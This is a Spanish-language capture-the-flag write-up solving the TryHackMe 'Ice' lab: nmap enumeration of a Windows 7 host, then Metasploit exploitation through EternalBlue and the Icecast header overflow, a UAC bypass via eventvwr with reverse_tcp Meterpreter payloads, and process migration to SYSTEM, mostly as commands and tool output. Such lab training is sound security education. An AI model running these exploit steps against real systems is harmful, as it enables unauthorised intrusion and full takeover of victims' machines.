

Ice

- Enumeración
 - Ping
 - Nmap
 - Searchsploit
- Explotación
 - Explotación vía SMB (MS17-010 / EternalBlue)
 - Explotación del servidor Iccast (CVE-2004-1561)
 - Escalada de Privilegios

Resolviendo la máquina Ice

En esta publicación, comparto cómo resolví la máquina **Ice** de TryHackMe.

Enumeración

Ping

Ejecutamos un *ping* para comprobar la conectividad y obtener pistas sobre el sistema operativo.

```
ping -c 1 10.10.3.8
```

```
PING 10.10.3.8 (10.10.3.8) 56(84) bytes of data.  
64 bytes from 10.10.3.8: icmp_seq=1 ttl=127 time=50.1 ms  
  
— 10.10.3.8 ping statistics —  
1 packets transmitted, 1 received, 0% packet loss, time 0ms  
rtt min/avg/max/mdev = 50.053/50.053/50.053/0.000 ms
```

TTL=127 -> Windows

Nmap

```
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.3.8 -oG allPorts
```

```

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 12:06 CEST
Initiating SYN Stealth Scan at 12:06
Scanning 10.10.3.8 [65535 ports]
Discovered open port 445/tcp on 10.10.3.8
Discovered open port 3389/tcp on 10.10.3.8
Discovered open port 139/tcp on 10.10.3.8
Discovered open port 135/tcp on 10.10.3.8
Discovered open port 5357/tcp on 10.10.3.8
Discovered open port 49152/tcp on 10.10.3.8
Discovered open port 49153/tcp on 10.10.3.8
Discovered open port 49160/tcp on 10.10.3.8
Discovered open port 49159/tcp on 10.10.3.8
Discovered open port 49154/tcp on 10.10.3.8
Discovered open port 8000/tcp on 10.10.3.8
Discovered open port 49158/tcp on 10.10.3.8
Completed SYN Stealth Scan at 12:06, 14.23s elapsed (65535 total ports)
Nmap scan report for 10.10.3.8
Host is up, received user-set (0.051s latency).
Scanned at 2025-07-23 12:06:39 CEST for 14s
Not shown: 64314 closed tcp ports (reset), 1209 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE      REASON
135/tcp   open  msrpc        syn-ack ttl 127
139/tcp   open  netbios-ssn  syn-ack ttl 127
445/tcp   open  microsoft-ds syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127
5357/tcp  open  wsapi        syn-ack ttl 127
8000/tcp  open  http-alt     syn-ack ttl 127
49152/tcp open  unknown      syn-ack ttl 127
49153/tcp open  unknown      syn-ack ttl 127
49154/tcp open  unknown      syn-ack ttl 127
49158/tcp open  unknown      syn-ack ttl 127
49159/tcp open  unknown      syn-ack ttl 127
49160/tcp open  unknown      syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.32 seconds
Raw packets sent: 72448 (3.188MB) | Rcvd: 64500 (2.580MB)

```

```

nmap -p135,139,445,3389,5357,8000,49152,49153,49154,49158,49159,49160 -sCV
10.10.3.8 -oN targeted

```

```

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 12:09 CEST
Nmap scan report for 10.10.3.8: 10.10.3.8 could not be found.
Host is up (0.050s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp   open  tcpwrapped
|_ssl-date: 2025-07-23T10:10:28+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=Dark-PC
|_Not valid before: 2025-07-22T10:05:54
|_Not valid after: 2026-01-21T10:05:54
|_rdp-ntlm-info:
|_  Target_Name: DARK-PC
|_  NetBIOS_Domain_Name: DARK-PC
|_  NetBIOS_Computer_Name: DARK-PC
|_  DNS_Domain_Name: Dark-PC
|_  DNS_Computer_Name: Dark-PC
|_  Product_Version: 6.1.7601
|_  System_Time: 2025-07-23T10:10:13+00:00
5357/tcp   open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
8000/tcp   open  http         Icecast streaming media server
|_http-title: Site doesn't have a title (text/html).
49152/tcp  open  msrpc        Microsoft Windows RPC
49153/tcp  open  msrpc        Microsoft Windows RPC
49154/tcp  open  msrpc        Microsoft Windows RPC
49158/tcp  open  msrpc        Microsoft Windows RPC
49159/tcp  open  msrpc        Microsoft Windows RPC
49160/tcp  open  msrpc        Microsoft Windows RPC
Service Info: Host: DARK-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: DARK-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:c0:0f:3c:ac:ff (unknown)
|_smb-os-discovery:
|_  OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|_  OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|_  Computer name: Dark-PC
|_  NetBIOS computer name: DARK-PC\x00
|_  Workgroup: WORKGROUP\x00
|_  System time: 2025-07-23T05:10:13-05:00
|_clock-skew: mean: 59m59s, deviation: 2h14m10s, median: 0s
|_smb-security-mode:
|_  account_used: <blank>
|_  authentication_level: user
|_  challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time:
|_  date: 2025-07-23T10:10:13
|_  start_date: 2025-07-23T10:05:52
|_smb2-security-mode:
|_  2:1:0:
|_  Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.47 seconds

```

```
nmap -p445 --script smb-vuln-ms17-010 10.10.3.8
```

```

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-23 12:11 CEST
Nmap scan report for 10.10.3.8
Host is up (0.049s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|       State: VULNERABLE
|       IDs:   CVE:CVE-2017-0143
|       Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 0.84 seconds

```

Searchsploit

searchsploit Icecast

Exploit Title	Path
Icecast 1.1.x/1.3.x - Directory Traversal	multiple/remote/20972.txt
Icecast 1.1.x/1.3.x - Slash File Name Denial of Service	multiple/dos/20973.txt
Icecast 1.3.7/1.3.8 - 'print_client()' Format String	windows/remote/20982.c
Icecast 1.x - AVLib Buffer Overflow	unix/remote/21363.c
Icecast 2.0.1 (Win32) - Remote Code Execution (1)	windows/remote/568.c
Icecast 2.0.1 (Win32) - Remote Code Execution (2)	windows/remote/573.c
Icecast 2.0.1 (Windows x86) - Header Overwrite (Metasploit)	windows_x86/remote/16763.rb
Icecast 2.x - XSL Parser Multiple Vulnerabilities	multiple/remote/25238.txt
Icecast server 1.3.12 - Directory Traversal Information Disclosure	linux/remote/21602.txt

Explotación

En esta máquina existen varias formas de explotación.

Explotación vía SMB (MS17-010 / EternalBlue)

Se utiliza el exploit (`exploit/windows/smb/ms17_010_eternalblue`) para la vulnerabilidad **MS17-010 (EternalBlue)** en el servicio **SMB**.

```

search exploit/windows/smb/ms17_010_eternalblue
use 0 | use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 10.10.3.8
LHOST 10.8.184.124
exploit

```

```

[*] Started reverse TCP handler on 10.8.184.124:4444
[*] 10.10.3.8:4445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[*] 10.10.3.8:4445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.17/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.10.3.8:4445 - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.3.8:4445 - The target is vulnerable.
[*] 10.10.3.8:4445 - Connecting to target for exploitation.
[*] 10.10.3.8:4445 - Connection established for exploitation.
[*] 10.10.3.8:4445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.3.8:4445 - CORE raw buffer dump (42 bytes)
[*] 10.10.3.8:4445 - 0x00000000 5f 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.3.8:4445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.3.8:4445 - 0x00000020 69 63 65 20 50 61 63 65 20 31 ice Pack 1
[*] 10.10.3.8:4445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.3.8:4445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.3.8:4445 - Sending all but last fragment of exploit packet
[*] 10.10.3.8:4445 - Starting non-paged pool grooming
[*] 10.10.3.8:4445 - Sending SMBv2 buffers
[*] 10.10.3.8:4445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.3.8:4445 - Sending final SMBv2 buffers.
[*] 10.10.3.8:4445 - Sending last fragment of exploit packet!
[*] 10.10.3.8:4445 - Receiving response from exploit packet
[*] 10.10.3.8:4445 - ETTERBLUE overwrite completed successfully (0xC0000000)!
[*] 10.10.3.8:4445 - Sending egg to corrupted connection.
[*] 10.10.3.8:4445 - Triggering free of corrupted buffer.
[*] 10.10.3.8:4445 - Sending stage (203846 bytes) to 10.10.3.8
[*] Meterpreter session 1 opened (10.8.184.124:4444 -> 10.10.3.8:49191) at 2025-07-23 12:13:46 +0200
[*] 10.10.3.8:4445 - =====
[*] 10.10.3.8:4445 - =====WIN=====
[*] 10.10.3.8:4445 - =====

```

sysinfo

```

Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows

```

getuid

```
Server username: NT AUTHORITY\SYSTEM
```

Explotación del servidor Iccast (CVE-2004-1561)

Se utiliza el exploit (`exploit/windows/http/icecast_header`) para explotar una vulnerabilidad en el servidor de streaming **Iccast**.

```

search exploit/windows/http/icecast_header
use 0 | use exploit/windows/http/icecast_header
show options

set RHOSTS 10.10.3.8
set LHOST 10.8.184.124
set LPORT 4445
exploit

```

sysinfo

```

Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x86/windows

```

```
getuid
```

```
Server username: Dark-PC\Dark
```

```
pgrep explorer.exe
```

```
1316
```

```
migrate 1316
```

```
sysinfo
```

```
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain        : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
```

```
background
```

Escalada de Privilegios

Una vez obtenida una sesión de usuario no privilegiado, se utiliza el módulo

`local_exploit_suggester` para identificar posibles vectores de escalada en el sistema.

Se utiliza el exploit (`post/multi/recon/local_exploit_suggester`) para sugerir exploits locales que podrían funcionar en un sistema comprometido.

```
search post/multi/recon/local_exploit_suggester
use 0 | use post/multi/recon/local_exploit_suggester
show options
set SESSION 1
exploit
```

#	Name	Potentially Vulnerable?	Check Result
1	exploit/windows/local/bypassuac_comhijack	Yes	The target appears to be vulnerable.
2	exploit/windows/local/bypassuac_eventvwr	Yes	The target appears to be vulnerable.
3	exploit/windows/local/cve_2020_0787_bits_arbitrary_file_move	Yes	The service is running, but could not be validated. Vulnerable Windows 7/Windows Server 2008 R2 build detected!
4	exploit/windows/local/ms10_092_schelevator	Yes	The service is running, but could not be validated.
5	exploit/windows/local/ms13_053_schlamperei	Yes	The target appears to be vulnerable.
6	exploit/windows/local/ms13_081_track_popup_menu	Yes	The target appears to be vulnerable.
7	exploit/windows/local/ms14_058_track_popup_menu	Yes	The target appears to be vulnerable.
8	exploit/windows/local/ms15_051_client_copy_image	Yes	The target appears to be vulnerable.
9	exploit/windows/local/ntusermndragover	Yes	The target appears to be vulnerable.
10	exploit/windows/local/ppr_flatten_rec	Yes	The target appears to be vulnerable.
11	exploit/windows/local/tokenmagic	Yes	The target appears to be vulnerable.
12	exploit/windows/local/adobe_sandbox_adobecollabsync	No	Cannot reliably check exploitability.
13	exploit/windows/local/agnitum_outpost_acs	No	The target is not exploitable.
14	exploit/windows/local/always_install_elevated	No	The target is not exploitable.
15	exploit/windows/local/anyconnect_lpe	No	The target is not exploitable. vpngdownloader.exe not found on file system
16	exploit/windows/local/bits_ntlm_token_impersonation	No	The target is not exploitable.
17	exploit/windows/local/bthpan	No	The target is not exploitable.
18	exploit/windows/local/bypassuac_fodhelper	No	The target is not exploitable.
19	exploit/windows/local/bypassuac_sluihijack	No	The target is not exploitable.
20	exploit/windows/local/canon_driver_privesc	No	The target is not exploitable. No Canon TR150 driver directory found
21	exploit/windows/local/cve_2020_1048_printerdemon	No	The target is not exploitable.
22	exploit/windows/local/cve_2020_1337_printerdemon	No	The target is not exploitable.
23	exploit/windows/local/gog_galaxyclientservice_privesc	No	The target is not exploitable. Galaxy Client Service not found
24	exploit/windows/local/ikeext_service	No	The check raised an exception.
25	exploit/windows/local/ipass_launch_app	No	The check raised an exception.
26	exploit/windows/local/lenovo_systemupdate	No	The check raised an exception.
27	exploit/windows/local/lexmark_driver_privesc	No	The check raised an exception.
28	exploit/windows/local/mqac_write	No	The target is not exploitable.
29	exploit/windows/local/ms10_015_kitrapd	No	The target is not exploitable.
30	exploit/windows/local/ms14_070_tcpip_ioctl	No	The target is not exploitable.
31	exploit/windows/local/ms15_004_tswebproxy	No	The target is not exploitable.
32	exploit/windows/local/ms16_016_webdav	No	The target is not exploitable.
33	exploit/windows/local/ms16_032_secondary_logon_handle_privesc	No	The target is not exploitable.
34	exploit/windows/local/ms16_075_reflection	No	The target is not exploitable.
35	exploit/windows/local/ms16_075_reflection_juicy	No	The target is not exploitable.
36	exploit/windows/local/ms_ndproxy	No	The target is not exploitable.
37	exploit/windows/local/novell_client_nim	No	The target is not exploitable.
38	exploit/windows/local/ntapphelpcachecontrol	No	The check raised an exception.
39	exploit/windows/local/panda_psevents	No	The target is not exploitable.
40	exploit/windows/local/ricoh_driver_privesc	No	The target is not exploitable. No Ricoh driver directory found
41	exploit/windows/local/virtual_box_guest_additions	No	The target is not exploitable.
42	exploit/windows/local/webexec	No	The check raised an exception.

[*] Post module execution completed

Se utiliza el exploit (`exploit/windows/local/bypassuac_eventvwr`) para escalar privilegios en sistemas **Windows** mediante una técnica de *bypass de UAC (User Account Control)*.

```
search exploit/windows/local/bypassuac_eventvwr
use 0 | use exploit/windows/local/bypassuac_eventvwr

show options
set SESSION 1
set LHOST 10.8.184.124
set LPORT 1234
set targets 1
set payload windows/x64/meterpreter/reverse_tcp
exploit
```

```
[*] Started reverse TCP handler on 10.8.184.124:1234
[*] UAC is Enabled, checking level ...
[+] Part of Administrators group! Continuing ...
[+] UAC is set to Default
[+] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\System32\eventvwr.exe
[+] eventvwr.exe executed successfully, waiting 10 seconds for the payload to execute.
[*] Sending stage (203846 bytes) to 10.10.3.8
[*] Meterpreter session 2 opened (10.8.184.124:1234 → 10.10.3.8:49220) at 2025-07-23 12:38:45 +0200
[*] Cleaning up registry keys ...
```

sysinfo

```
Computer      : DARK-PC
OS            : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture  : x64
System Language : en_US
Domain       : WORKGROUP
Logged On Users : 2
Meterpreter   : x64/windows
```

```
getuid
```

```
Server username: Dark-PC\Dark
```

```
getprivs
```

```
Enabled Process Privileges
=====
Name
----
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

```
ps
```


Process List

PID	PPID	Name	Arch	Session	User	Path
0	0	[System Process]				
4	0	System	x64	0		
416	4	smss.exe	x64	0	NT AUTHORITY\SYSTEM	\SystemRoot\System32\smss.exe
424	692	spssvc.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\spssvc.exe
500	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
544	536	csrss.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\csrss.exe
588	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\svchost.exe
592	536	wininit.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\wininit.exe
604	584	csrss.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\system32\csrss.exe
652	584	winlogon.exe	x64	1	NT AUTHORITY\SYSTEM	C:\Windows\system32\winlogon.exe
692	592	services.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\services.exe
700	592	lsass.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\lsass.exe
708	592	lsmd.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\lsmd.exe
816	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\svchost.exe
884	692	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\svchost.exe
932	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\System32\svchost.exe
1008	816	WmiPrivSE.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\wbem\wmiprivse.exe
1060	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\system32\svchost.exe
1188	692	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\svchost.exe
1264	692	svchost.exe	x64	0	NT AUTHORITY\NETWORK SERVICE	C:\Windows\system32\svchost.exe
1296	500	dwm.exe	x64	1	Dark-PC\Dark	C:\Windows\system32\Dwm.exe
1316	1288	explorer.exe	x64	1	Dark-PC\Dark	C:\Windows\Explorer.EXE
1368	692	spoolsv.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\spoolsv.exe
1396	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\system32\svchost.exe
1460	692	taskhost.exe	x64	1	Dark-PC\Dark	C:\Windows\system32\taskhost.exe
1572	692	amazon-ssm-agent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\SSM\amazon-ssm-agent.exe
1644	692	LiteAgent.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\XenTools\LiteAgent.exe
1680	692	svchost.exe	x64	0	NT AUTHORITY\LOCAL SERVICE	C:\Windows\system32\svchost.exe
1748	604	conhost.exe	x64	1	Dark-PC\Dark	C:\Windows\system32\conhost.exe
1828	692	Ec2Config.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Program Files\Amazon\Ec2ConfigService\Ec2Config.exe
1868	692	vds.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\vds.exe
2016	692	TrustedInstaller.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\servicing\TrustedInstaller.exe
2200	1316	Icecast2.exe	x86	1	Dark-PC\Dark	C:\Program Files (x86)\Icecast2 Win32\Icecast2.exe
2256	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\svchost.exe
2456	1176	powershell.exe	x64	1	Dark-PC\Dark	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
2568	692	SearchIndexer.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\SearchIndexer.exe
2728	692	VSSVC.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\vssvc.exe
2876	692	svchost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\svchost.exe
3132	2568	SearchProtocolHost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\SearchProtocolHost.exe
3152	2568	SearchFilterHost.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\system32\SearchFilterHost.exe

pgrep spoolsv.exe

1368

migrate 1368

getuid

Server username: NT AUTHORITY\SYSTEM